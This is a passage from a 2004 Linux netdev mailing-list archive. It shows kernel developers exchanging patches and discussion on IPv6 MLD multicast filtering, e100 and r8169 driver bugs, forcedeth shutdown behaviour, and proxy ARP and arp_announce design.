(!ipv6_addr_any(src_addr)) { + if (src_addr && !ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); (See attached file: mldx3.patch) --1__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Here's a revised version with all the comments incorporated.

+-DLS


diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F2/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int ipv6_is_mld(struct sk_buff *skb);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-09 14:12:34.000000000 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;
}
+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+ !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+ &hdr->saddr) &&
+ !ipv6_is_mld(skb))
+ goto discard;
}
if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,50 +219,21 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
- int discard = 1;
+ struct ipv6hdr *hdr;
+ int deliver;

IP6_INC_STATS_BH(Ip6InMcastPkts);

hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
-
- /*
- * IPv6 multicast router mode isnt currently supported.
- */
-#if 0
- if (ipv6_config.multicast_route) {
- int addr_type;
-
- addr_type = ipv6_addr_type(&hdr->daddr);
-
- if (!(addr_type & (IPV6_ADDR_LOOPBACK | IPV6_ADDR_LINKLOCAL))) {
- struct sk_buff *skb2;
- struct dst_entry *dst;
-
- dst = skb->dst;
-
- if (deliver) {
- skb2 = skb_clone(skb, GFP_ATOMIC);
- } else {
- discard = 0;
- skb2 = skb;
- }
-
- dst_output(skb2);
- }
- }
-#endif
+ deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) ||
+ ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL);

- if (deliver) {
- discard = 0;
+ if (likely(deliver)) {
ip6_input(skb);
+ return 0;
}
-
- if (discard)
- kfree_skb(skb);
+ /* discard */
+ kfree_skb(skb);

return 0;
}
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-09 13:12:07.000000000 -0800
@@ -901,6 +901,25 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int ipv6_is_mld(struct sk_buff *skb)
+{
+ struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw;
+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
* check if the interface/address pair is valid
*/
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
@@ -918,7 +937,7 @@
break;
}
if (mc) {
- if (!ipv6_addr_any(src_addr)) {
+ if (src_addr && !ipv6_addr_any(src_addr)) {
struct ip6_sf_list *psf;

spin_lock_bh(&mc->mca_lock);

(See attached file: mldx3.patch)
--1__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7-- --0__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7 Content-type: application/octet-stream; name="mldx3.patch" Content-Disposition: attachment; filename="mldx3.patch" Content-ID: <10__=07BBE4A6DFECFAE78f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG Mi9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYyL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgJMjAwNC0wMi0wNiAxNjowMzozNC4wMDAwMDAwMDAg LTA4MDAKQEAgLTk4LDYgKzk4LDcgQEAKIAogZXh0ZXJuIGludCBpcHY2X2Noa19tY2FzdF9hZGRy KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHN0cnVjdCBpbjZfYWRkciAqZ3JvdXAsCiAJCXN0cnVj dCBpbjZfYWRkciAqc3JjX2FkZHIpOworZXh0ZXJuIGludCBpcHY2X2lzX21sZChzdHJ1Y3Qgc2tf YnVmZiAqc2tiKTsKIAogZXh0ZXJuIHZvaWQgYWRkcmNvbmZfcHJlZml4X3JjdihzdHJ1Y3QgbmV0 X2RldmljZSAqZGV2LCB1OCAqb3B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01HTV9SRVBPUlQ6CisJY2Fz ZSBJQ01QVjZfTUdNX1JFRFVDVElPTjoKKwljYXNlIElDTVBWNl9NTEQyX1JFUE9SVDoKKwkJcmV0 dXJuIDE7CisJZGVmYXVsdDoKKwkJYnJlYWs7CisJfQorCXJldHVybiAwOworfQorCisvKgogICoJ Y2hlY2sgaWYgdGhlIGludGVyZmFjZS9hZGRyZXNzIHBhaXIgaXMgdmFsaWQKICAqLwogaW50IGlw djZfY2hrX21jYXN0X2FkZHIoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0IGluNl9hZGRy ICpncm91cCwKQEAgLTkxOCw3ICs5MzcsNyBAQAogCQkJCWJyZWFrOwogCQl9CiAJCWlmIChtYykg ewotCQkJaWYgKCFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgeworCQkJaWYgKHNyY19hZGRyICYm ICFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgewogCQkJCXN0cnVjdCBpcDZfc2ZfbGlzdCAqcHNm OwogCiAJCQkJc3Bpbl9sb2NrX2JoKCZtYy0+bWNhX2xvY2spOwo= --0__=07BBE4A6DFECFAE78f9e8a93df938690918c07BBE4A6DFECFAE7-- From scott.feldman@intel.com Mon Feb 9 15:37:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 15:38:09 -0800 (PST) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19NbvKO024032 for ; Mon, 9 Feb 2004 15:37:57 -0800 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.5 2003/11/26 00:10:29 root Exp $) with ESMTP id i19Nbps2012918; Mon, 9 Feb 2004 23:37:51 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i19NcQaU023369; Mon, 9 Feb 2004 23:38:51 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020915374906925 ; Mon, 09 Feb 2004 15:37:49 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 9 Feb 2004 15:37:49 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: 2.6.2 crash after network link failure Date: Mon, 9 Feb 2004 15:37:48 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 2.6.2 crash after network link failure Thread-Index: AcPvXB5YoU0FjfWiRdS9E8hm8U19JwABoHEA From: "Feldman, Scott" To: "David S. Miller" , "Petr Vandrovec" Cc: , X-OriginalArrivalTime: 09 Feb 2004 23:37:49.0510 (UTC) FILETIME=[BA6F5660:01C3EF65] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i19NbvKO024032 X-archive-position: 3172 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > I think what might be happening is that somehow the TX queue > is corrupted if > e100_config() runs (due to link UP state change) while there > are active normal SKB packets on the TX queue. Or perhaps > some TX queue handling locking issue. > > Scott, any ideas? e100 hardware will continue to process the hardware's Tx queue even after link is lost, and then cleanup (return skbs) on interrupt. I would expect e100 to be holding no Tx skbs when link returned. Petr, -mm kernel has an updated (and much simpler) e100 driver. Is this something you can try? The switch failure can be simulated by manually plugging the cable in/out. -scott From ja@ssi.bg Mon Feb 9 15:52:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 15:52:42 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19NqSKO024584 for ; Mon, 9 Feb 2004 15:52:31 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i19NqrVw002220; Tue, 10 Feb 2004 01:53:00 +0200 Date: Tue, 10 Feb 2004 01:52:53 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076367038.1037.15.camel@jzny.localdomain> Message-ID: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3173 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Tue, 9 Feb 2004, jamal wrote: > > Then where is better such flag to exist, for indev or > > for outdev? > > parse error. Are you agreeing it should be a sysctl? May be, if we found usage for this, because I see the handling in this way (I should put this info in doc file later): - if the target is not an ARP neighbour then it is already validated from ip_route_input (for example, target is some IP on PPP device and this device exists and is UP, so there is route we are using). In such case we do not need a validation phase (but may be we still need to delay the answer) - we need delay (if configured via dev/proxy_delay) not for target validation reasons but just to lose the game with other authoritative hosts. For this reason we do not want to delay answers to unicast probes if we have such answer. There is one bad case here: authoritative hosts running in promisc mode. In such case we risk to win the race. As for the static proxy entries may be we do not want to delay the answers for them, I assume they are something like local addresses at ARP level? So, do we need to delay the pneigh_lookup case (fwd_proxy=0)? > what i meant was i am happy with the slight delay in some cases i get Ah, this delay will stay, if configured. But it is not needed for the unicast case. > now; example host we are parping for sends a unicast probe - we would > immediately respond. Host sends a resolved IP packet - we attempt to > route and worst case we find that we dont have the target entry in our > cache; we arp at that point. With the new changes we will respond to unicast probe immediately only if the target neighbour is marked valid in our cache. For non-ARP target devices the behaviour is same - immediate response. You forgot the main reason I started this change: for neighbour state detection reasons it is bad the requestor to receive answer for target host when this host is down. The goal is to stop any traffic to target if it is not reachable and to use other paths. Note that you have exactly such behaviour if target is routed via non-ARP device, ip_route_input fails and there is no answer. Assume such setup: - many end hosts/routers using TIP as gw IP - TIP is proxied from other routers runing proxy_arp - above these routers are the uplink routers (DSL?) that have TIP configured We want the end host to know the real TIP state and to use alternative paths. So, we want to proxy the neighbour state. But in what I'm not sure yet is whether there is a usage that relies on immediate answer no matter the state. If we do not want to ignore such usage we have to add flag as you proposed. The question is: is it useful to provide immediate response as before without knowing the neighbour state, for the ARP cases. > In your case, you will amortize that cost at arp time. In the case of > unicast probes (assuming a sane arp implementation on the other side) > you will actually be adding cost since mostly that entry will be in the > cache. You mean the delay? I add it for other purposes, even if target is valid in the cache. > In the case of broadcasts you could achieve the same effect by setting > the proxy_delay in /proc to zero. True, if the administrator is sure that our box is the only responder for such targets he can set the delay to 0 to speedup the answers. > > You are right, if proxy_delay is large the requestor can > > disappear from our cache but it is not fatal for us to send reply, > > we do not need cache entry for this. I'm not sure what is better, is > > it right to confirm the requestor without receiving recent event > > from it? If will be visible for too large proxy_delay values. > > I guess you could look at one view as possibly doing 2 neigh_event_ns() > and correct whereas the other is doing 1 but with the above side effect. Our replies are always unicast to the lladdr. Do you still prefer 2 calls to neigh_event_ns (sorry, my english is too limited to understand correctly the above two lines :)) ? > cheers, > jamal Regards -- Julian Anastasov From romieu@fr.zoreil.com Mon Feb 9 16:00:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 16:00:29 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A00KKO024998 for ; Mon, 9 Feb 2004 16:00:21 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i19NvJgf014076; Tue, 10 Feb 2004 00:57:19 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i19NvIZY014075; Tue, 10 Feb 2004 00:57:18 +0100 Date: Tue, 10 Feb 2004 00:57:18 +0100 From: Francois Romieu To: Michael Neuffer Cc: netdev@oss.sgi.com Subject: [patch] [rft] Re: of 2.6.2-rc2-mm2 and r8169 Message-ID: <20040210005718.A10307@electric-eye.fr.zoreil.com> References: <20040130014108.09c964fd.akpm@osdl.org> <20040201100340.GA12436@neuffer.info> <20040207001756.A26645@electric-eye.fr.zoreil.com> <20040207115054.GC5704@neuffer.info> <20040207132124.A7344@electric-eye.fr.zoreil.com> <20040208064859.GA29384@neuffer.info> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040208064859.GA29384@neuffer.info>; from neuffer@neuffer.info on Sun, Feb 08, 2004 at 07:48:59AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 3174 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev The patch below compiles but I don't know if it will apply against current -mm. Complain if it's broken and I'll clean it once I have got some sleep. Idea behind the change: assume that there is no invocation of the r8169 irq handler while the asic fills all the available rx buffers. When it is finally called, the rx irq handler will not be stopped by a descriptor which is owned by the r8169 asic. The skb refill logic is only called once the handler has stopped looping over the ring and the rx handler will happily process skb entries that were just NULLed -> Oops --- drivers/net/r8169.c 2004-02-10 00:20:48.000000000 +0100 +++ drivers/net/r8169.c 2004-02-10 00:26:18.000000000 +0100 @@ -1471,17 +1471,20 @@ static void rtl8169_rx_interrupt(struct net_device *dev, struct rtl8169_private *tp, void *ioaddr) { - int cur_rx, delta; + int delta, rx_left; assert(dev != NULL); assert(tp != NULL); assert(ioaddr != NULL); - cur_rx = tp->cur_rx % NUM_RX_DESC; + rx_left = tp->cur_rx - tp->dirty_rx; - while (!(le32_to_cpu(tp->RxDescArray[cur_rx].status) & OWNbit)) { + while (rx_left > 0) { + int cur_rx = tp->cur_rx % NUM_RX_DESC; u32 status = le32_to_cpu(tp->RxDescArray[cur_rx].status); + if (status & OWNbit) + break; if (status & RxRES) { printk(KERN_INFO "%s: Rx ERROR!!!\n", dev->name); tp->stats.rx_errors++; @@ -1517,7 +1520,7 @@ rtl8169_rx_interrupt(struct net_device * } tp->cur_rx++; - cur_rx = tp->cur_rx % NUM_RX_DESC; + rx_left--; } delta = rtl8169_rx_fill(tp, dev, tp->dirty_rx, tp->cur_rx); From c-d.hailfinger.kernel.2004@gmx.net Mon Feb 9 16:04:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 16:04:47 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A04fKO025661 for ; Mon, 9 Feb 2004 16:04:42 -0800 Received: (qmail 18299 invoked by uid 65534); 10 Feb 2004 00:04:35 -0000 Received: from stud213116.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.116) by mail.gmx.net (mp012) with SMTP; 10 Feb 2004 01:04:35 +0100 X-Authenticated: #21910825 Message-ID: <40282006.2090508@gmx.net> Date: Tue, 10 Feb 2004 01:04:22 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Kenneth Krekula CC: netdev@oss.sgi.com Subject: Re: A small forcedeth driver issue References: <200402092252.22540.kenneth.krekula@kiruna.se> In-Reply-To: <200402092252.22540.kenneth.krekula@kiruna.se> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3175 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Kenneth Krekula wrote: > Hi. > > I have a NForce1 motherboard and have tested the forcedeth driver with > the Mandrake 10 betas. The driver works very well (thanks for the great > work!!) and I only have a small issue: > > If I have been using the driver in Mandrake 10 beta 2, and reboot into > Win XP or Mandrake Linux 9.2 (with the NVIdia NForce drivers) the > network just fails. I assume it works fine if you reboot into Linux with forcedeth again, right? > However, if I shut off the power switch and wait for some seconds, I > can power on and boot into Win XP, Mandrake 9.2. > > I don't know if this is a known issue or not. Yes, it's a known issue. Basically, forcedeth does not shutdown the hardware completely, but this should not matter if it is reinitialized correctly during the next boot. forcedeth can reinitialize hardware even if it wasn't shutdown completely. The windows driver, however, lacks this feature and therefore fails. There are two ways to deal with the issue: - get a better windows driver (more recent versions from Nvidia *should* work) - wait a few weeks until I get access to some nforce hardware and can fix this. I do not want to change the shutdown procedure without testing it on real hardware. The last time I did that, I got a complete lockup. HTH, Carl-Daniel -- http://www.hailfinger.org/ From ja@ssi.bg Mon Feb 9 16:30:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 16:30:52 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A0TFKO029336 for ; Mon, 9 Feb 2004 16:30:13 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1A0VNVw002342; Tue, 10 Feb 2004 02:31:43 +0200 Date: Tue, 10 Feb 2004 02:31:23 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040209151053.1f63937a.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3176 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Mon, 9 Feb 2004, David S. Miller wrote: > > not for IPVS :) It is mostly to work with other stacks because > > I'm flooded with emails about how Linux ARP can be more friendly. > > So this new 'arp_announce' change suggestion will preempt any need for > hidden and make everyone happy? For IPVS like setups it solves only one part: arp_announce=2 but for such setups we still need per IP filtering of ARP requests which is not possible to filter with ip rules. If you look at http://www.ssi.bg/~ja/hidden-2.5.67-1.diff you will see that: - the arp_solicit change is solvable with arp_announce=2. If hidden touches there it needs IP lookup. The good news is that inet_addr_type is replaced with ip_dev_find. If hidden does not change arp_solicit then the users will use: {all,lo}/hidden=1, eth0/arp_announce=2 If hidden changes arp_solicit then only hidden will be used - hidden adds ip_dev_find call in arp_rcv for the broadcast case, and only if hidden is enabled with all/hidden=1, so it is ugly but fast if all/hidden=0 - hidden changes inet_select_addr() which is not needed for IPVS setups and can be solved with careful preferred source usage, so this change can be ignored So, if hidden exists and is disabled it will not delay too much the processing but it is true that both arp_rcv and arp_solicit become more and more loaded with ugly checks. You do not need to decide today about it :) Another question while I'm looking at arp_rcv: - what happens if request comes with SIP=0, should we provide answer (proxy_arp) if there is valid remote target? Can be useful for setups where we split a logical subnet. But solving this problem will require cleaning up the arp_process function. In any case, it does not look so hard to me :) > About output_route vs. inet_select_addr(), probably the latter is better. > Your goal is to differentiate between primary and seconday addrs on a device > right? Route lookup is also more expensive, probably. ok Regards -- Julian Anastasov From ja@ssi.bg Mon Feb 9 16:59:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 16:59:44 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A0wAKO030226 for ; Mon, 9 Feb 2004 16:59:00 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1A10OVw002575; Tue, 10 Feb 2004 03:00:44 +0200 Date: Tue, 10 Feb 2004 03:00:24 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040209151053.1f63937a.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3177 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, May be this will be something like final patch, I removed the games with skb->dst because there are cases where SNAT can take place after input routing, etc: http://www.ssi.bg/~ja/arp_announce-2.6.2-3.diff If you like it in this way you can apply now or after some days or to delay it if we want to combine it with other device flags or changes. Regards -- Julian Anastasov From hadi@cyberus.ca Mon Feb 9 17:22:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 17:22:21 -0800 (PST) Received: from blacktip.cybersurf.com (blacktip.cybersurf.com [209.197.145.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A1MFKO031488 for ; Mon, 9 Feb 2004 17:22:16 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by blacktip.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1A1M91T026702 for ; Mon, 9 Feb 2004 18:22:09 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AqMbF-0003aK-Ob; Mon, 09 Feb 2004 20:22:06 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076376094.1039.102.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 09 Feb 2004 20:21:34 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3178 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hi Julian, On Mon, 2004-02-09 at 18:52, Julian Anastasov wrote: > Hello, > > On Tue, 9 Feb 2004, jamal wrote: > > > > Then where is better such flag to exist, for indev or > > > for outdev? > > > > parse error. Are you agreeing it should be a sysctl? > > May be, if we found usage for this, because I see the > handling in this way (I should put this info in doc file later): > > - if the target is not an ARP neighbour then it is already validated > from ip_route_input (for example, target is some IP on PPP device > and this device exists and is UP, so there is route we are using). Is this always guaranteed? Example "ip route get" will always create a cache entry but not a neighbor. > In such case we do not need a validation phase (but may be we still > need to delay the answer) > > - we need delay (if configured via dev/proxy_delay) not for target > validation reasons but just to lose the game with other authoritative > hosts. For this reason we do not want to delay answers to unicast > probes if we have such answer. There is one bad case here: > authoritative hosts running in promisc mode. In such case we > risk to win the race. > This is true, but not in my setup where i guarantee there will be no other authoritative response. I think authoritative answer is the main reason for the race; the fact that you can set proxy_delay to 0 when you need to (such as in my case) is needed flexibility. > As for the static proxy entries may be we do not want > to delay the answers for them, I assume they are something like > local addresses at ARP level? So, do we need to delay the > pneigh_lookup case (fwd_proxy=0)? > i am indiferent but would think the current behavior is fine. > > what i meant was i am happy with the slight delay in some cases i get > > Ah, this delay will stay, if configured. But it is > not needed for the unicast case. > ok > > now; example host we are parping for sends a unicast probe - we would > > immediately respond. Host sends a resolved IP packet - we attempt to > > route and worst case we find that we dont have the target entry in our > > cache; we arp at that point. > > With the new changes we will respond to unicast probe > immediately only if the target neighbour is marked valid in our > cache. For non-ARP target devices the behaviour is same - immediate > response. > again back to my earlier question (and talking about ARP only): A host would only send us a unicast probe to begin with if it is NUD_PROBE state (iirc); which means given the exchanges the cache entry we have would more than likely be valid still i.e if you want to optimize this portion you will be mostly doing a useless call. Agreed? I suppose you are trying to shortcut this by not waiting until the arp state machine takes effect - which is fine but i claim needs to be configurable over current behavior. > You forgot the main reason I started this change: for > neighbour state detection reasons it is bad the requestor to receive > answer for target host when this host is down. The goal is to > stop any traffic to target if it is not reachable and to use > other paths. Ok, i wasnt aware of why you started this - its a neat hack which will improve failover times; the SCTP folks would probably like this. > Note that you have exactly such behaviour if target > is routed via non-ARP device, ip_route_input fails and there is no > answer. Assume such setup: > > - many end hosts/routers using TIP as gw IP > > - TIP is proxied from other routers runing proxy_arp > > - above these routers are the uplink routers (DSL?) that have > TIP configured > > We want the end host to know the real TIP state and > to use alternative paths. So, we want to proxy the neighbour > state. > > But in what I'm not sure yet is whether there is a > usage that relies on immediate answer no matter the state. I think that if you want fast discovery the way you are proposing it is the better way. Of course this comes at the expense of extra checks (even when they are unneeded as i have claimed so far in the case of unicast probes) > If we do not want to ignore such usage we have to add flag > as you proposed. The question is: is it useful to provide > immediate response as before without knowing the neighbour > state, for the ARP cases. I think knowing the state before response in itself is useful when needed. This is the most useful thing in your patch; the other parts you are throwing in as gravy on fries and they are a little suspicious ;-> The main thing is backward compatibility; for years this is the way it has worked. In my setup for example i have no need for your shortcut. > > In your case, you will amortize that cost at arp time. In the case of > > unicast probes (assuming a sane arp implementation on the other side) > > you will actually be adding cost since mostly that entry will be in the > > cache. > > You mean the delay? I add it for other purposes, even > if target is valid in the cache. Just the extra call to check state before responding adds a little to the overhead for no good reason. If the arp cache is invalid when you respond, the principle of conservation of work says that work will be done later, you just defered it to route lookup time when an IP packet is sent. > > In the case of broadcasts you could achieve the same effect by setting > > the proxy_delay in /proc to zero. > > True, if the administrator is sure that our box is the > only responder for such targets he can set the delay to 0 to > speedup the answers. > Exactly my setup. So in this case i think this feature should stay. > > > You are right, if proxy_delay is large the requestor can > > > disappear from our cache but it is not fatal for us to send reply, > > > we do not need cache entry for this. I'm not sure what is better, is > > > it right to confirm the requestor without receiving recent event > > > from it? If will be visible for too large proxy_delay values. > > > > I guess you could look at one view as possibly doing 2 neigh_event_ns() > > and correct whereas the other is doing 1 but with the above side effect. > > Our replies are always unicast to the lladdr. Do you still > prefer 2 calls to neigh_event_ns (sorry, my english is too limited > to understand correctly the above two lines :)) ? You used the word "fatal";-> so i was pointing that the other option is not fatal and it happens only when you queue to the proxy q. I think i kept you busy and i am not really an parp expert, just a user ;-> Now where is Alexey when you need him? ;-> cheers, jamal From gnb@melbourne.sgi.com Mon Feb 9 17:52:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 17:52:58 -0800 (PST) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1A1qtKO032400 for ; Mon, 9 Feb 2004 17:52:55 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id 